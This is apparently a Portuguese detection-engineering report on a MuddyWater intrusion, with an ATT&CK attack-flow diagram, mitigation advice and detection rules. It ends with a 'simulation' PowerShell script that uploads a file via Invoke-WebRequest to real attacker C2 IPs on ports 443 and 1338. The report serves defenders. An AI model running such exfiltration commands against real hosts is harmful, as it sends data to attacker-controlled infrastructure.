MuddyWater Revelado: Dentro de uma operação APT iraniana
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Pesquisadores identificaram um conjunto de intrusão MuddyWater (Static Kitten) que combinou múltiplos frameworks C2 personalizados com exploração oportunista de diversas falhas expostas na internet e pulverização de credenciais em alta escala. Os operadores encadearam ferramentas de reconhecimento, acesso inicial, e roubo de dados para comprometer alvos no Oriente Médio, Europa e Estados Unidos.
Investigação
Investigadores apreenderam infraestrutura exposta de um VPS hospedado na Holanda e extraíram binários para três servidores C2 construídos para propósito específico: KeyC2, PersianC2, e ArenaC2. Eles também recuperaram ferramentas de suporte, incluindo carregadores baseados em PowerShell e payloads Node.js usados para staging e execução. A atividade apresentou escaneamento amplo para CVEs expostos publicamente seguido de exploração, e incorporou contratos inteligentes de blockchain como um mecanismo para resolver ou atualizar endpoints C2 dinamicamente.
Mitigação
Priorize a remediação dos CVEs referenciados e reduza a superfície de ataque fortalecendo e limitando a exposição de serviços acessíveis publicamente. Bloqueie ou restrinja severamente o tráfego UDP desconhecido de saída na porta 1269 e monitore artefatos de execução ligados aos binários C2 personalizados e seus padrões de comando distintos. Implemente o princípio do menor privilégio para contas de VPN e administrativas em dispositivos de rede, e aumente a cobertura de detecção para comportamento anômalo de PowerShell e sessões de saída criptografadas para IPs desconhecidos.
Resposta
Se indicadores forem observados, isole sistemas impactados, preserve artefatos de memória e disco, e bloqueie imediatamente os domínios/IPs C2 identificados. Realize triagem forense de carregadores recuperados e scripts Node.js para delimitar execução e persistência. Corrija todas as vulnerabilidades exploradas e gire quaisquer credenciais que possam ter sido expostas através de pulverização ou roubo.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Step 1 – Active Scanning: Vulnerability Scanning step1[“<b>Ação</b> – <b>T1595.002 Escaneamento Ativo: Escaneamento de Vulnerabilidade</b><br/>Ferramenta: Nuclei<br/>Descrição: Escanear em massa serviços públicos para CVEs exploráveis, como FortiOS CVE-2024-55591 e Ivanti CVE-2026-1281.”] class step1 action tool_nuclei[“<b>Ferramenta</b> – <b>Nome</b>: Nuclei<br/><b>Descrição</b>: Scanner de vulnerabilidades de alta velocidade usado para sondagem em larga escala na internet.”] class tool_nuclei tool step1 –>|uses| tool_nuclei step1 –>|leads_to| step2 %% Step 2 – Gather Victim Network Information: DNS step2[“<b>Ação</b> – <b>T1590.002 Reunir Informação de Rede da Vítima: DNS</b><br/>Ferramentas: subfinder, Sudomy, OneForAll<br/>Descrição: Enumerar subdomínios e registros DNS para alvos como clearview.ai e jewishagency.org.”] class step2 action tool_subfinder[“<b>Ferramenta</b> – <b>Nome</b>: subfinder<br/><b>Descrição</b>: Ferramenta rápida de descoberta passiva de subdomínios.”] class tool_subfinder tool step2 –>|uses| tool_subfinder step2 –>|leads_to| step3 %% Step 3 – Active Scanning: Wordlist Scanning step3[“<b>Ação</b> – <b>T1595.003 Escaneamento Ativo: Escaneamento de Lista de Palavras</b><br/>Ferramenta: ffuf<br/>Descrição: Forçar diretórios web com uma lista de palavras de tamanho médio para descobrir recursos ocultos.”] class step3 action tool_ffuf[“<b>Ferramenta</b> – <b>Nome</b>: ffuf<br/><b>Descrição</b>: Fuzzer web rápido para descoberta de diretórios e arquivos.”] class tool_ffuf tool step3 –>|uses| tool_ffuf step3 –>|leads_to| step4 %% Step 4 – Search Open Technical Databases: Scan Databases step4[“<b>Ação</b> – <b>T1596.005 Buscar em Bancos de Dados Técnicos Abertos: Escanear Bancos de Dados</b><br/>Ferramenta: Shodan CLI<br/>Descrição: Consultar Shodan por dispositivos Ivanti vulneráveis usando assinaturas de serviço e hashes de favicon.”] class step4 action tool_shodan[“<b>Ferramenta</b> – <b>Nome</b>: Shodan CLI<br/><b>Descrição</b>: Interface de linha de comando para o motor de busca de exposição na internet Shodan.”] class tool_shodan tool step4 –>|uses| tool_shodan step4 –>|leads_to| step5 %% Step 5 – Brute Force: Password Spraying step5[“<b>Ação</b> – <b>T1110.003 Força Bruta: Pulverização de Senhas</b><br/>Ferramenta: Script Python owa.py<br/>Descrição: Pulverizar senhas comuns contra serviços de Acesso Web Outlook e SMTP de organizações israelenses, jordanianas e dos Emirados Árabes Unidos.”] class step5 action tool_owa[“<b>Ferramenta</b> – <b>Nome</b>: owa.py<br/><b>Descrição</b>: Script Python que realiza ataques de pulverização de senhas contra endpoints OWA.”] class tool_owa tool step5 –>|uses| tool_owa step5 –>|leads_to| step6 %% Step 6 – Brute Force: Password Guessing step6[“<b>Ação</b> – <b>T1110.001 Força Bruta: Adivinhação de Senhas</b><br/>Ferramenta: Patator<br/>Descrição: Tentar logins SMTP com listas de credenciais para obter contas válidas.”] class step6 action tool_patator[“<b>Ferramenta</b> – <b>Nome</b>: Patator<br/><b>Descrição</b>: Ferramenta de força bruta multiprotocolo suportando SMTP, SSH, HTTP, etc.”] class tool_patator tool step6 –>|uses| tool_patator step6 –>|leads_to| step7 %% Step 7 – Exploit Public‑Facing Application step7[“<b>Ação</b> – <b>T1190 Explorar Aplicação Exposta Publicamente</b><br/>Técnica: Falhas novas de injeção SQL no BaSalam e em uma plataforma de desenvolvimento Postgres.<br/>Descrição: Explorar payloads de SQLi crafted para obter inserção inicial em servidores web.”] class step7 action step7 –>|leads_to| step8 %% Step 8 – Exploitation of Remote Services step8[“<b>Ação</b> – <b>T1210 Exploração de Serviços Remotos</b><br/>Ferramenta: Neo‑reGeorg ASPX web‑shell<br/>Descrição: Fazer upload de web-shell para servidor Exchange comprometido para persistência e execução remota de comando.”] class step8 action malware_neoregeorg[“<b>Malware</b> – <b>Nome</b>: Neo‑reGeorg ASPX web‑shell<br/><b>Descrição</b>: Web-shell ASPX proporcionando execução remota de comandos e capacidade de tunelamento.”] class malware_neoregeorg malware step8 –>|uploads| malware_neoregeorg step8 –>|leads_to| step9 %% Step 9 – Boot or Logon Autostart Execution: Registry Run Keys step9[“<b>Ação</b> – <b>T1547.001 Execução de Início Automático de Boot ou Logon: Chaves de Execução do Registro</b><br/>Malware: Payload Node.js VfZUSQi6oerKau.js<br/>Descrição: Criar chave de execução HKCU\Software\Microsoft\Windows\CurrentVersion\Run para persistência.”] class step9 action malware_nodejs[“<b>Malware</b> – <b>Nome</b>: VfZUSQi6oerKau.js<br/><b>Descrição</b>: Payload Node.js ofuscado que escreve uma chave de execução para persistência.”] class malware_nodejs malware step9 –>|creates| malware_nodejs step9 –>|leads_to| step10 %% Step 10 – Server Software Component: Web Shell step10[“<b>Ação</b> – <b>T1505.003 Componente de Software de Servidor: Web Shell</b><br/>Componente: Neo‑reGeorg web‑shell (nfud.aspx)<br/>Descrição: Habilita execução remota de comando em servidor comprometido.”] class step10 action malware_nfud[“<b>Malware</b> – <b>Nome</b>: nfud.aspx<br/><b>Descrição</b>: Variante de web-shell ASPX usada para acesso persistente.”] class malware_nfud malware step10 –>|implements| malware_nfud step10 –>|leads_to| step11 %% Step 11 – Create Account: Local Account step11[“<b>Ação</b> – <b>T1136.001 Criar Conta: Conta Local</b><br/>Resultado: Conta de administrador privilegiada “FortiSetup” com perfil super_admin.<br/>Descrição: Scripts de exploração FortiGate modificados para adicionar uma conta de administrador local persistente.”] class step11 action step11 –>|leads_to| step12 %% Step 12 – Obfuscated Files or Information step12[“<b>Ação</b> – <b>T1027 Arquivos ou Informações Ofuscados</b><br/>Malware: Payloads Node.js<br/>Descrição: Payloads fortemente ofuscados e encriptados com AES-CBC antes de serem gravados no disco.”] class step12 action malware_obf[“<b>Malware</b> – <b>Nome</b>: Payloads Node.js Encriptados<br/><b>Descrição</b>: Blobs encriptados AES-CBC armazenados no sistema de arquivos da vítima.”] class malware_obf malware step12 –>|produces| malware_obf step12 –>|leads_to| step13 %% Step 13 – Deobfuscate/Decode Files or Information step13[“<b>Ação</b> – <b>T1140 Desofuscar/Decodificar Arquivos ou Informação</b><br/>Ferramenta: Carregador PowerShell reset.ps1<br/>Descrição: Descriptografa blobs encriptados AES-CBC em tempo de execução.”] class step13 action tool_psloader[“<b>Ferramenta</b> – <b>Nome</b>: reset.ps1<br/><b>Descrição</b>: Script PowerShell que descriptografa e carrega payloads maliciosos na memória.”] class tool_psloader tool step13 –>|uses| tool_psloader step13 –>|leads_to| step14 %% Step 14 – Reflective Code Loading step14[“<b>Ação</b> – <b>T1620 Carregamento de Código Reflexivo</b><br/>Técnica: Carregador PowerShell carrega componentes Node.js descriptografados reflexivamente na memória.”] class step14 action step14 –>|leads_to| step15 %% Step 15 – Application Layer Protocol: Web Protocols step15[“<b>Ação</b> – <b>T1071.001 Protocolo de Camada de Aplicação: Protocolos Web</b><br/>C2: PersianC2<br/>Descrição: Polling HTTP usando endpoints de API JSON para recuperar comandos.”] class step15 action c2_persian[“<b>C2</b> – <b>Nome</b>: PersianC2<br/><b>Descrição</b>: Comando e controle baseado em HTTP usando polling JSON.”] class c2_persian c2 step15 –>|communicates_via| c2_persian step15 –>|leads_to| step16 %% Step 16 – Non‑Application Layer Protocol step16[“<b>Ação</b> – <b>T1095 Protocolo de Camada Não Aplicacional</b><br/>C2: KeyC2<br/>Descrição: Protocolo binário customizado sobre porta UDP 1269 para beaconing e execução de comandos.”] class step16 action c2_key[“<b>C2</b> – <b>Nome</b>: KeyC2<br/><b>Descrição</b>: Canal oculto baseado em UDP usando formato binário proprietário.”] class c2_key c2 step16 –>|communicates_via| c2_key step16 –>|leads_to| step17 %% Step 17 – Web Service: Dead Drop Resolver step17[“<b>Ação</b> – <b>T1102.001 Serviço Web: Dead Drop Resolver</b><br/>Técnica: Consultar contratos inteligentes de Ethereum para resolver endereços IP de servidores C2 dinamicamente.”] class step17 action step17 –>|leads_to| step18 %% Step 18 – Web Service: Bidirectional Communication step18[“<b>Ação</b> – <b>T1102.002 Serviço Web: Comunicação Bidirecional</b><br/>C2: ArenaC2 (FastAPI/uvicorn)<br/>Descrição: Interface HTTP POST encriptando tráfego com AES-256-CBC.”] class step18 action c2_arena[“<b>C2</b> – <b>Nome</b>: ArenaC2<br/><b>Descrição</b>: Servidor FastAPI fornecendo canal C2 bidirecional encriptado.”] class c2_arena c2 step18 –>|uses| c2_arena step18 –>|leads_to| step19 %% Step 19 – Web Service: One‑Way Communication step19[“<b>Ação</b> – <b>T1102.003 Serviço Web: Comunicação Unidirecional</b><br/>Componente: Servidor Flask minimalista (web.py) na porta 10443 aceitando uploads de arquivos para exfiltração.”] class step19 action malware_flask[“<b>Malware</b> – <b>Nome</b>: web.py<br/><b>Descrição</b>: Aplicativo Flask simples atuando como um dead-drop para dados roubados.”] class malware_flask malware step19 –>|implements| malware_flask step19 –>|leads_to| step20 %% Step 20 – Protocol Tunneling step20[“<b>Ação</b> – <b>T1572 Tunelamento de Protocolo</b><br/>Ferramenta: Neo‑reGeorg atuando como proxy SOCKS (resocks, revsocks) para tunelar em redes internas.”] class step20 action step20 –>|leads_to| step21 %% Step 21 – Proxy: External Proxy step21[“<b>Ação</b> – <b>T1090.002 Proxy: Proxy Externo</b><br/>Ouvintes: resocks e revsocks criando proxies SOCKS externos para movimento lateral.”] class step21 action step21 –>|leads_to| step22 %% Step 22 – Encrypted Channel: Symmetric Cryptography step22[“<b>Ação</b> – <b>T1573.001 Canal Encriptado: Criptografia Simétrica</b><br/>Técnica: ArenaC2 encripta todo o tráfego C2 com AES-256-CBC usando uma chave embutida.”] class step22 action step22 –>|leads_to| step23 %% Step 23 – Dynamic Resolution step23[“<b>Ação</b> – <b>T1568 Resolução Dinâmica</b><br/>Método: Chamadas de contrato inteligente (getString) no Ethereum retornam lista ativa de IPs C2 (ex: 185.236.25.119).”] class step23 action step23 –>|leads_to| step24 %% Step 24 – Exfiltration to Cloud Storage step24[“<b>Ação</b> – <b>T1567.002 Exfiltração Sobre Serviço Web: Exfiltração para Armazenamento em Nuvem</b><br/>Ferramenta: rclone<br/>Destino: Wasabi S3, put.io<br/>Descrição: Fazer upload de arquivos roubados para contas de armazenamento em nuvem.”] class step24 action tool_rclone[“<b>Ferramenta</b> – <b>Nome</b>: rclone<br/><b>Descrição</b>: Programa de linha de comando para sincronizar arquivos com serviços de armazenamento em nuvem.”] class tool_rclone tool step24 –>|uses| tool_rclone step24 –>|leads_to| step25 %% Step 25 – Exfiltration Over C2 Channel step25[“<b>Ação</b> – <b>T1041 Exfiltração Sobre Canal C2</b><br/>Capacidade: KeyC2 e PersianC2 suportam comandos de download de arquivos para recuperar dados das vítimas.”] class step25 action step25 –>|leads_to| step26 %% Step 26 – Exfiltration Over Alternative Protocol step26[“<b>Ação</b> – <b>T1048 Exfiltração Sobre Protocolo Alternativo</b><br/>Método: Servidor HTTP Flask e instância EC2 (18.223.24.218) usados para enviar dados em massa para fora do ambiente da vítima.”] class step26 action
Fluxo de Ataque
Detecções
Nome Curto de Arquivo (via cmdline)
Ver
Arquivos Suspeitos no Perfil Público do Usuário (via file_event)
Ver
Possível Exfiltração de Dados via Ferramenta Rclone (via cmdline)
Ver
Execução Suspeita a partir do Perfil Público do Usuário (via process_creation)
Ver
Chamar Métodos .NET Suspeitos a partir do Powershell (via powershell)
Ver
Binário NodeJS Executando de Localização Incomum (via cmdline)
Ver
Possível Uso de Ferramenta de Tunelamento [Windows] (via cmdline)
Ver
Carregador PowerShell e Exfiltração de Dados via WebClient [Windows Powershell]
Ver
Detecção de Pulverização de Senhas e Força Bruta SMTP de MuddyWater [Criação de Processos no Windows]
Ver
Detecção de Exploração e Exfiltração de Dados da Fortinet pela MuddyWater [Firewall]
Ver
Execução de Simulação
Pré-requisito: O teste inicial de Telemetria e Base deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa & Comandos de Ataque:
-
Reconhecimento & Preparação de Dados: O atacante enumera arquivos locais (
T1005) e escreve um pequeno payload (secret.txt) na estação de trabalho. -
Configuração de Comunicação C2: Usando PowerShell (
T1059.001), o atacante cria um POST HTTPS para o servidor C2 MuddyWater194.11.246.101na porta 443, incorporando os dados preparados. -
Canal Alternativo (Porta Não-Padrão): Para evadir regras simples baseadas em porta, o atacante repete a exfiltração pela porta 1338 usando
Invoke-WebRequestcom o comando-Port(PowerShell 7+). -
Encadeamento de Proxy Opcional: A solicitação é roteada através de um proxy externo (
T1090.002) mas o IP de destino final continua sendo o host MuddyWater, garantindo que os logs do firewall mantenham odst_ip.
-
Reconhecimento & Preparação de Dados: O atacante enumera arquivos locais (
-
Script de Teste de Regressão:
# Simulação de Exfiltração MuddyWater – PowerShell # ------------------------------------------------ # Passo 1: Criar dados fictícios $dataPath = "$env:TEMPsecret.txt" "Dados Sensíveis $(Get-Date)" | Out-File -FilePath $dataPath -Encoding UTF8 # Passo 2: Definir endpoints C2 $c2Ips = @('194.11.246.101','18.223.24.218') $c2Ports = @(443,1338) # Passo 3: Upload via HTTPS (porta 443) foreach ($ip in $c2Ips) { $uri = "https://$ip/upload" Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue } # Passo 4: Upload via porta personalizada 1338 (requer PowerShell 7+) foreach ($ip in $c2Ips) { $uri = "http://$ip:1338/upload" Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue } # Passo 5: Limpar Remove-Item -Path $dataPath -Force -
Comandos de Limpeza:
# Remova quaisquer conexões de rede remanescentes (Windows) Get-NetTCPConnection -RemoteAddress 194.11.246.101,18.223.24.218 | Where-Object { $_.State -eq 'Established' } | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Excluir arquivos temporários (execute novamente se necessário) $tempFile = "$env:TEMPsecret.txt" if (Test-Path $tempFile) { Remove-Item $tempFile -Force }